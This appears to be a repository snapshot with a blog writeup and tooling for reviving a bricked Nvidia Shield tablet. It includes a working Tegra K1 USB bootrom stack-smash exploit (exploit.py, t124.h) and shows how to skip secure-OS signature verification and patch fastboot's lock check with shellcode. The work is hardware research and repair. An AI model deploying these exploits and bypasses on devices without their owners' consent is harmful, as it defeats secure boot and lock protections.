b'PMU BoardId: %d\n'
b'CPU power rail is up \n'
b'Performing RAM repair\n'
b'CPU clock init successful \n'
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
b'No Bootloader is found !\n'
b'Error in %s: 0x%x !\n'
b'Error is %x \n'
```
So the next stage bootloader is also broken sadly. Maybe we can do the same trick?
On the good device I placed a hook on the message *Bootloader downloaded successfully*, after dumping the registers it seems that the bootloader is loaded at address ``0x83d88000``(in DRAM). The bootloader is also much bigger thatn the previous bootloaders, which is a good sign(It probably contains fastboot).
For the bad device I waited for the message *bootloader is corrupted* and continue execution at just after the good log message:
```python
elif b"corrupted" in msg or b"GPT failed" in msg:
# Restore bootloader
print(msg)
dat = open("/tmp/bootloader.bin", 'rb').read()
cd.memwrite_region(0x83d88000, dat[:0x90000])
# Jump to bootloader loaded
cd.arch_dbg.state.R0 = 0 # set bootloader as loaded correctly
cd.arch_dbg.state.LR = 0x40018ea0
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
continue
```
this resulted in the following output:
```text
1073803520:b'Checking whether Onsemi FG present \n'
1073799404:b'[TegraBoot] (version %s)\n'
1073799412:b'Processing in cold boot mode\n'
1073799416:b'Reset reason: %s\n'
1073847520:b'Battery Present\n'
1073847572:b'Battery Voltage: %d mV\n'
1073847596:b'Battery charge sufficient\n'
1073818392:b'Error getting nvdumper carve out address! Booting normally!\n'
1073818500:b'Sdram initialization is successful \n'
1073801672:b'PMU BoardId: %d\n'
1073843272:b'CPU power rail is up \n'
1073813604:b'Performing RAM repair\n'
1073843308:b'CPU clock init successful \n'
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
1073800404:b'CPU-bootloader entry address: 0x%x \n'
1073800444:b'BoardId: %d\n'
1073844416:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844524:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844608:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844692:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844788:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073800708:b'Platform-DebugCarveout: %d\n'
1073858616:b'Using GP1 to query partitions \n'
1073843044:b'WB0 init successful\n'
1073848940:b'Secure Os PKC Verification Failed !\n'
1073848972:b'Error in %s [%d] \n'
1073849136:b'Validation of secure os failed !\n'
1073801008:b'Device Shutdown called ...\n'
```
It seems something like trustzone is used to verify the next boot stage. And since this bootloader is taken from another device(K1 revision) its probably signed with the wrong keys. We can just try to not do the trustzone call and see if it will boot?
Let's place a hook at the message *WB0 init succesful* and jump to the function after trustzone validation:
```python
elif b"WB0" in msg:
cd.arch_dbg.state.print_ctx(print)
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x4000e188)
continue
```
Profit! The device boots!
![fastboot loaded](images/fastboot_locked.jpeg)
Now, let's try to flash a good bootloader. I grabbed the last update from nvidia's website and unpacked it. It contains a *blob* file that needs to be flashed to the staging partition:
```bash
$ fastboot flash staging blob
< waiting for any device >
Sending 'staging' (17598 KB) FAILED (remote: 'Bootloader is locked.')
fastboot: error: Command failed
```
Ofcourse, the bootloader is locked so we are not allowed to flash or boot anything. Let's patch it out.
### Fastboot
When fastboot loads on this device, it reads a status from somewhere(probably some metadata partition) and that determines it's lock state. Lucky for us there is the string *locked* and *unlocked* that is displayed whether this device is locked or not. After a bit of reversing I found this suspicious function:
![fastboot locked](images/fastboot_get_locked.png)
It turns out that it is doing an SMC call to determine it's lock status. We can ofcourse just patch this function to tell fastboot it's always unlocked:
```python
shellcode = f"""
mov r0, 0x1
bx lr
"""
cd.memwrite_region(0x83dd0eb0, ks_arm.asm(shellcode, as_bytes=True)[0])
```
We apply this patch while loading the bootloader in memory. Let's reboot:
![fastboot unlocked](images/fastboot_unlocked.jpeg)
It works, we can now flash the staging partition. And yes the device fully boots.
## Debugger
The main thing I wanted to show ofcourse is the debugger(Gupje) and the ``Ghidra Assistant``, which work very well in reversing and post exploitation for doing tasks like this. Thanx for reading.
## Sources
https://www.cnet.com/pictures/nvidia-shield-gaming-tablet-2/
https://nvidia.custhelp.com/app/answers/detail/a_id/3718/~/voluntary-recall-of-nvidia-shield-tablets
https://www.nvidia.com/en-us/shield/support/tabletrecall/
https://github.com/LordRafa/ShofEL2-for-T124

37
blog/part2.md Normal file
View File

@ -0,0 +1,37 @@
```
1073803520:b'Checking whether Onsemi FG present \n'
1073813020:b'%s(): error code 0x%08x %s\n'
1073811068:b'%s(): error code 0x%08x %s\n'
1073811120:b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
1073799404:b'[TegraBoot] (version %s)\n'
1073799412:b'Processing in cold boot mode\n'
1073799416:b'Reset reason: %s\n'
1073847520:b'Battery Present\n'
1073813020:b'%s(): error code 0x%08x %s\n'
1073811068:b'%s(): error code 0x%08x %s\n'
1073811120:b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
1073806920:b'Error MAX17048 vcell read failed.\n'
1073801444:b'Failed to determine battery voltage\n'
1073818392:b'Error getting nvdumper carve out address! Booting normally!\n'
1073818500:b'Sdram initialization is successful \n'
1073801672:b'PMU BoardId: %d\n'
1073843272:b'CPU power rail is up \n'
1073813604:b'Performing RAM repair\n'
1073843308:b'CPU clock init successful \n'
1073863832:b'%s with error 0x%x in %s func at %d line \n'
1073863916:b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
1073866976:b'Number of retries left %d\n'
1073863832:b'%s with error 0x%x in %s func at %d line \n'
1073863916:b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
1073866976:b'Number of retries left %d\n'
1073863832:b'%s with error 0x%x in %s func at %d line \n'
1073863916:b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
1073866976:b'Number of retries left %d\n'
1073867180:b'Send command failed with 0x%x\n'
1073870972:b'%s with error 0x%x in %s func at %d line \n'
1073870844:b'Identify card failed with 0x%x\n'
1073862468:b'%s with error 0x%x in %s func at %d line \n'
1073862636:b'Sdmmc Init failed with 0x%x error\n'
1073844216:b'Error in %s: 0x%x !\n'
1073799640:b'Error is %x \n'
```

322
exploit.py Normal file
View File

@ -0,0 +1,322 @@
from io import BytesIO
import usb.core
import usb.util
import sys
import struct
from tools import *
import argparse
import ctypes
import time
import fcntl
import platform
import os
from patches import *
IS_OSX = platform.system() == "Darwin"
USBDEVFS_URB_TYPE_CONTROL = 2
USBDEVFS_SUBMITURB = 0x8038550a
USBDEVFS_REAPURB = 0x4008550c
USBDEVFS_DISCARDURB = 0x0000550b
debug_exchanges = 0
class DEVICE():
def usb_connect(self):
self.dev = None
while self.dev is None:
if self.dev is None:
self.dev = usb.core.find(idVendor=SHIELD_TK1_VID, idProduct=SHIELD_TK1_PID)
if self.dev is None:
self.dev = usb.core.find(idVendor=JETSON_TK1_VID, idProduct=JETSON_TK1_PID)
if self.dev is None:
error("Could not find APX device!")
sys.exit(ERROR_STATUS)
while(True):
try:
self.dev.detach_kernel_driver(interface=0)
except Exception as e:
if(e.errno == 2):
break
pass
def usb_read(self, size, title="recv data"):
IN = 0x81
data = self.dev.read(IN, size)
data = bytes([char for char in data])
if debug_exchanges == 1:
hexdump(data, title=title)
return data
def usb_write(self, data):
OUT = 0x1
self.dev.write(OUT, data) # Some timeout
if debug_exchanges == 1:
hexdump(data, color=5, title="out")
def usb_reset(self):
self.dev.reset()
def __init__(self):
self.usb_connect()
self.write = self.usb_write
self.read = self.usb_read
def read_chip_id(self):
r = self.usb_read(0x10)
info(f"Chip id: {r.hex()}")
# lol
def get_fds():
return set(int(i) for i in os.listdir("/proc/self/fd"))
class TegraRCM():
def ep0_read_unbounded(self, size):
print("Size: 0x%x\n" % size)
if IS_OSX:
try:
s.dev.ctrl_transfer(0x82, 0, 0, 0, size)
except usb.core.USBError:
print("timeout.. good!")
return
buf = ctypes.create_string_buffer(struct.pack("@BBHHH%dx" % size, 0x82, 0, 0, 0, size))
print(bytes(buf[:8]).hex())
urb = ctypes.create_string_buffer(struct.pack("@BBiIPiiiiiIP1024x",
USBDEVFS_URB_TYPE_CONTROL, 0, # type, ep
0, 0, # status, flags
ctypes.addressof(buf), len(buf), 0, # buf, len, actual
0, 0, 0, 0, 0xf0f))
print(bytes(urb[:-1024]).hex())
print("URB address: 0x%x" % ctypes.addressof(urb))
for fd in self.fds:
try:
fcntl.ioctl(fd, USBDEVFS_SUBMITURB, urb)
# time.sleep(0.1)
fcntl.ioctl(fd, USBDEVFS_DISCARDURB, urb)
purb = ctypes.c_void_p()
fcntl.ioctl(fd, USBDEVFS_REAPURB, purb)
if purb.value != ctypes.addressof(urb):
print("Reaped the wrong URB! addr 0x%x != 0x%x" % (
purb.value, ctypes.addressof(urb)))
_, _, status, _, _, _, _, _, _, _, _, ctx = struct.unpack("@BBiIPiiiiiIP", urb[:56])
print("URB status: %d" % status)
if ctx != 0xf0f:
print("Reaped the wrong URB! ctx=0x%x" % ctx)
# break
info(f"Done on {fd}")
return status
except Exception as e:
pass
# print(str(e))
return None
def __init__(self):
if not IS_OSX:
fds_before = get_fds()
self.dev = DEVICE()
if not IS_OSX:
self.fds = get_fds() - fds_before
self.fd = sorted(list(self.fds))[-1]
info("File descriptor: %d" % self.fd)
def get_payload_aft_len(self, payload):
payload.seek(0)
sz = len(payload.read())
payload.seek(0)
if(sz > MAX_PAYLOAD_FILE_SIZE ):
print(f"Payload to big!")
sys.exit(ERROR_STATUS)
payload_aft_len = 0
if sz > MAX_PAYLOAD_BEF_SIZE:
payload_aft_len = sz - MAX_PAYLOAD_BEF_SIZE
return payload_aft_len
def read_intermezzo(self, rcm_cmd_buf : BytesIO):
intermezzo = open("ShofEL2-for-T124/intermezzo.bin", "rb").read(INTERMEZZO_LEN)
intermezzo_size = len(intermezzo)
rcm_cmd_buf.seek(RCM_CMD_BUF_INTERMEZZO_START)
rcm_cmd_buf.write(intermezzo)
def read_payload_file(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len):
payload_bef = payload_file_fd.read(MAX_PAYLOAD_BEF_SIZE)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_START)
rcm_cmd_buf.write(payload_bef)
payload_bef_len = len(payload_bef)
payload_aft_len = 0
if(rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT):
payload_aft = payload_file_fd.read(rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT)
payload_aft_len = len(payload_aft)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_CONT)
rcm_cmd_buf.write(payload_aft)
payload_bef_len = struct.pack("<L", payload_bef_len)
payload_aft_len = struct.pack("<L", payload_aft_len )
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_BEF_LENVAR)
rcm_cmd_buf.write(payload_bef_len)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_AFT_LENVAR)
rcm_cmd_buf.write(payload_aft_len)
def build_rcm_cmd(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode ):
ret = -1
rcm_cmd_len = struct.pack("<L", RCM_CMD_LEN)
payload_entry = struct.pack("<L", (BOOTROM_PAYLOAD_ENTRY | 0x1))
payload_thumb_mode = struct.pack("<L", payload_thumb_mode)
self.read_intermezzo(rcm_cmd_buf)
self.read_payload_file(payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len)
rcm_cmd_buf.seek(0)
rcm_cmd_buf.write(rcm_cmd_len)
rcm_cmd_buf.seek(RCM_CMD_BUF_MEMCPY_RET_ADD)
rcm_cmd_buf.write(payload_entry)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_THUMB_MODE)
rcm_cmd_buf.write(payload_thumb_mode)
def send_rcm_cmd(self, payload_filename, payload_thumb_mode=1):
status = -1
payload_file_fd = open(payload_filename, "rb")
payload_aft_len = self.get_payload_aft_len(payload_file_fd)
if(payload_aft_len < 0):
sys.exit(ERROR_STATUS)
rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len
padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 )
n_writes = ( rcm_cmd_buf_len + padding) / 0x1000
if not (n_writes % 2):
padding += 0x1000
rcm_cmd_buf = BytesIO()
rcm_cmd_buf.write(b'\x00' * (rcm_cmd_buf_len + padding))
self.build_rcm_cmd(payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode)
rcm_cmd_buf.seek(0)
self.dev.write(rcm_cmd_buf.read())
payload_file_fd.close()
def send_payload(self, payload, thumb=1):
'''
Sends user specified payload to device
'''
self.send_rcm_cmd(payload, thumb)
#Smash the stack
status = self.ep0_read_unbounded(BOOTROM_SMASH_LEN)
if(status == 0):
error("wrong status returned!")
def send_verify_cmd(self, cmd):
self.dev.write(cmd)
r = self.dev.read(0x200)
if(r != cmd):
error(f"Error on sending command! {r}")
return False
return True
def handle_done(self):
r = self.dev.read(0x200)
if(r != b"done"):
error("Error on writing vbar!")
def memdump_region(self, offset, size):
if(not self.send_verify_cmd(b"PEEK")):
return
mem_param = struct.pack('<LL', offset, size)
self.dev.write(mem_param)
received = b''
blk_sz = 0x200
while len(received) < size:
if (remaining := size - len(received)) < 0x200:
blk_sz = remaining
d = self.dev.read(blk_sz)
if len(d) == blk_sz:
self.dev.write(b"ACK\x00")
received += d
self.handle_done()
return received
def memwrite_region(self, address, data, check=True):
'''
Write a blob of data to an address on the device. Sometimes this function has issues when writing more than 0x20 bytes of data
Args:
:param (int): address: Address to write to
:param (bytes): data: Binary data to write to the device
:param (Bool): check if data is really written by dumping the region and checking if it has changed
'''
size = len(data)
if(check):
before = self.memdump_region(address, size)
if(not self.send_verify_cmd(b"POKE")):
return
mem_param = struct.pack('<II', address, size)
self.dev.write(mem_param)
while len(data) > 0:
remaining = 0x200
if(len(data) < 0x200):
remaining = len(data)
send = data[:remaining]
data = data[remaining:]
self.dev.write(send)
message = self.dev.read(0x200)
if(message != b"OK"):
error("Error on writing data to device!")
return
self.dev.write(b"ACK\x00")
self.handle_done()
#Read back data
if(check):
after = self.memdump_region(address, size)
if(after == before and send != before):
error(f"Memory written succesfully, but no changes detected! | {hex(address)}")
def search_bootrom(self):
dumped = BytesIO()
for i in range(0, 0x1000000, 0x10000):
d = self.memdump_region(i, 0x10000)
dumped.write(d)
if(cpsr_to_r0_ins in d or r1_to_cpsr in d):
info(f"Found cpsr instruction at {hex(i)}")
print(".", end="")
# info(f"dumped {hex(len(dumped))} data")
def dump_bootrom(self):
d = self.memdump_region(0x100000, 0x1000)
if(True):
pass
def cmd_handler(self):
while True:
cmd = self.dev.read(0x200)
if(cmd == b"cmd_handler"):
self.memwrite_region(0x40000000, 0x100 * b"\xaa")
self.search_bootrom()
#dump memory
self.dump_bootrom()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("payload", help="Payload to send to the tablet")
parser.add_argument("--ga", help="Prepare for GA", action="store_true")
parser.add_argument("--ga_arm", help="Prepare for GA", action="store_true")
args = parser.parse_args()
rcm = TegraRCM()
rcm.dev.read_chip_id()
if args.ga_arm:
args.ga = True
rcm.send_payload(args.payload, thumb=0)
else:
rcm.send_payload(args.payload)
if args.ga:
d = rcm.dev.read(4)
# d2 = rcm.dev.read(0x200)
if d == b"GiAs":
ok("Device in GA debugger")
else:
rcm.cmd_handler()

30
gupje_t/Makefile Normal file
View File

@ -0,0 +1,30 @@
#ARM thumb mode
TOOLCHAIN_ARM_T := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
CC_T = $(TOOLCHAIN_ARM_T)gcc
AS_T = $(TOOLCHAIN_ARM_T)as
OBJCOPY_T = $(TOOLCHAIN_ARM_T)objcopy
LD_T = $(TOOLCHAIN_ARM_T)ld.bfd
#For building in thumb mode
CFLAGS_THUMB := -Wall -Werror -MMD -Wno-unused-variable \
-march=armv4t -mthumb -Os -ffreestanding -fno-common \
-fomit-frame-pointer -nostdlib -fno-builtin-printf \
-fno-asynchronous-unwind-tables -fPIE -fno-builtin \
-Idevices/nvidia_shield_t/ \
-fno-exceptions -Wl,--no-dynamic-linker,--build-id=none
all: nvidia_shield_t nvidia_shield_t_reloc
nvidia_shield_t:
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger.o $(CFLAGS_THUMB)
$(LD_T) -T devices/nvidia_shield_t/linkscript.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger.elf --just-symbols=devices/nvidia_shield_t/symbols.txt
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger.elf bin/nvidia_shield_t/debugger.bin
nvidia_shield_t_reloc:
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger_reloc.o $(CFLAGS_THUMB)
$(LD_T) -T devices/nvidia_shield_t/linkscript_reloc.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger_reloc.elf --just-symbols=devices/nvidia_shield_t/symbols_reloc.txt
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger_reloc.elf bin/nvidia_shield_t/debugger_reloc.bin

9
gupje_t/Readme.md Normal file
View File

@ -0,0 +1,9 @@
# Gupje for Nvidia shield
Download ``gcc-arm-none-eabi-10-2020-q4-major`` and configure its path in the Makefile.
Build with:
```bash
make -f devices/nvidia_shield/gupje_t/Makefile
```

125
gupje_t/device.h Normal file
View File

@ -0,0 +1,125 @@
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
#include "t124.h"
#ifndef _TYPES_H_
#define _TYPES_H_
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef u32 size_t;
typedef u32 uintptr_t;
#endif
typedef void (*ep1_x_imm_t)(void *buffer, uint32_t size, uint32_t *num_xfer);
ep1_x_imm_t usb_recv = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
ep1_x_imm_t usb_send = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
void send(void *buffer, uint32_t size, uint32_t *num_xfer){
usb_send(buffer, size, num_xfer);
}
int recv(void *buffer, uint32_t size, uint32_t *num_xfer){
usb_recv(buffer, size, num_xfer);
return (int)&num_xfer;
}
int mystrlen(char *data) {
int i=0;
while(1) {
if(data[i++] == '\0'){
break;
}
}
return i-1;
}
void usb_log(char * msg, uint32_t * error){
send(msg, mystrlen(msg), error);
}
void recv_data(void *data, uint32_t len) {
uint32_t rx_err_code;
uint32_t xfer = 0;
while(1) {
recv(data, len, &xfer);
if(xfer >= len) {
break;
}
}
}
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
void enter_rcm() {
// Sets RCM strap and reboots into RCM
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
}
void concrete_main(uint32_t debugger){
enter_rcm();
// log register r0
// uint32_t reg_val;
// uint32_t tx_err_code;
// uint32_t *tbuf = (uint32_t*)0x40013000;
// asm volatile("mov %0, r0" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[0] = reg_val;
// asm volatile("mov %0, r1" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[1] = reg_val;
// asm volatile("mov %0, r2" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[2] = reg_val;
// asm volatile("mov %0, r3" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[3] = reg_val;
// asm volatile("mov %0, r4" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[4] = reg_val;
// asm volatile("mov %0, r5" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[5] = reg_val;
// asm volatile("mov %0, r6" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[6] = reg_val;
// asm volatile("mov %0, r7" : "=r" (reg_val));
// send(&reg_val, sizeof(reg_val), &tx_err_code);
// tbuf[7] = reg_val;
// usb_log("END", &debugger);
}

15
gupje_t/linkscript.ld Normal file
View File

@ -0,0 +1,15 @@
MEMORY {
ROM (rwx): ORIGIN = 0x4000E000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x4000E000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}

View File

@ -0,0 +1,15 @@
MEMORY {
ROM (rwx): ORIGIN = 0x4003c000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x4003c000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}

2
gupje_t/symbols.txt Normal file
View File

@ -0,0 +1,2 @@
debugger_storage = 0x40013000;
debugger_stack = 0x40014000;

View File

@ -0,0 +1,2 @@
debugger_storage = 0x4003e000;
debugger_stack = 0x4003f000;

99
gupje_t/t124.h Normal file
View File

@ -0,0 +1,99 @@
#ifndef _T124_RCM_H_
#define _T124_RCM_H_
#define JETSON_TK1_VID 0x0955
#define JETSON_TK1_PID 0x7140
#define SHIELD_TK1_VID 0x0955
#define SHIELD_TK1_PID 0x7f40
#define IROM_BEGIN 0x00100000
#define IROM_END 0x0010FFFF
#define IROM_LEN 0x00010000
#define IRAM_BEGIN 0x40000000
#define IRAM_END 0x4003FFFF
#define IRAM_LEN 0x00040000
#define BOOTROM_DO_BCT_BOOT 0x00100624
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
#define BOOTROM_USB_BUF_1 0x40004000
#define BOOTROM_USB_BUF_2 0x40008000
#define BOOTROM_PAYLOAD_ENTRY 0x4000E000
#define BOOTROM_SMASH_TARGET 0x4000DCD8
#define BOOTROM_STACK_GAP_LEN 0x30C
#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8
#define VARS_LEN 0x10
#define INTERMEZZO_LEN 0x100
#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00
#define OFFSET_INTERMEZZO_START 0x0
#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN )
#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry )
#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 )
#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 )
#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC )
#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 )
#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
#define RCM_EP1_IN 0x81
#define RCM_EP1_OUT 0x01
#define RCM_CHIP_ID_LEN 0x10
#define RCM_CMD_LEN 0x32274
#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
#define RCM_CMD_HEADER_LEN 0x284
#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes
#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes
#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes
#define SECURE_BOOT_BASE 0x6000C200
#define SB_CSR_0 0x0
#define SB_PIROM_START_0 0x4
#define SB_PFCFG_0 0x8
#define JTAG_ON 0x00000080
#define APB_BASE 0x70000000
#define APB_MISC_PP_CONFIG_CTL_0 0x24
#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40
#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80
#define FLOW_CTLR_BASE 0x60007000
#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4
#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30)
#define FLOW_CTLR_HALT_COP_JTAG (1 << 28)
#define PMC_BASE 0x7000e400
#define PMC_CNTRL 0x000
#define PMC_CNTRL_MAIN_RST (1 << 4)
#define PMC_SCRATCH0 0x050
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
#define FUSE_BASE 0x7000F900
#define FUSE_LEN 0x300
#endif

19
hw_in_the_loop.py Normal file
View File

@ -0,0 +1,19 @@
import typing
if typing.TYPE_CHECKING:
from GA_debugger import *
class HWDevice():
def __init__(self) -> None:
pass
class CryptoEngine(HWDevice):
def __init__(self) -> None:
pass
# NvBootSeAesCmacGenerateSubkey
# NvBootSeAesEncrypt
def hw_in_the_loop():
pass

99
inspect_hwio.py Normal file
View File

@ -0,0 +1,99 @@
import argparse, pickle
'''
sdmmc1: sdhci@700b0000 {
compatible = "nvidia,tegra210-sdhci", "nvidia,tegra132-sdhci";
reg = <0x0 0x700b0000 0x0 0x200>;
interrupts = <GIC_SPI 14 IRQ_TYPE_LEVEL_HIGH>;
clocks = <&tegra_car TEGRA210_CLK_SDMMC1>;
resets = <&tegra_car 14>;
reset-names = "sdhci";
status = "disabled";
};
pinmux: pinmux@700008d4 {
compatible = "nvidia,tegra210-pinmux";
reg = <0x0 0x700008d4 0x0 0x299 /* Pad control registers */
0x0 0x70003000 0x0 0x290>; /* Mux registers */
#gpio-range-cells = <3>;
status = "disabled";
};
tegra_car: clock@60006000 {
compatible = "nvidia,tegra210-car", "syscon";
reg = <0x0 0x60006000 0x0 0x1000>;
#clock-cells = <1>;
#reset-cells = <1>;
};
rtc: rtc@7000e000 {
compatible = "nvidia,tegra-rtc";
reg = <0x0 0x7000e000 0x0 0x100>;
interrupts = <0 2 0x04>;
status = "disabled";
};
tegra_timer: timer@60005000 {
compatible = "nvidia,tegra210-timer";
reg = <0x0 0x60005000 0x0 0x400>;
interrupts = <GIC_SPI 176 IRQ_TYPE_LEVEL_HIGH>,
<GIC_SPI 177 IRQ_TYPE_LEVEL_HIGH>,
<GIC_SPI 178 IRQ_TYPE_LEVEL_HIGH>,
<GIC_SPI 179 IRQ_TYPE_LEVEL_HIGH>;
clocks = <&tegra_car TEGRA210_CLK_TIMER>;
};
rtc: rtc@7000e000 {
compatible = "nvidia,tegra-rtc";
reg = <0x0 0x7000e000 0x0 0x100>;
interrupts = <0 2 0x04>;
status = "disabled";
};
'''
t124_mem_map = {
0x60006000 :
{
"name" : "tegra_car",
"size" : 0x1000,
},
0x60005000 : {
"name" : "tegra_timer",
"size" : 0x400,
},
0x70019000 :
{
"name" : "memory_controller",
"size" : 0x1000,
},
0x700b0000 : {
"name" : "sdhci1",
"size" : 0x200,
},
0x70003000 : {
"name" : "pinmux",
"size" : 0x290,
},
0x7000e000 : {
"name" : "rtc",
"size" : 0x100,
}
}
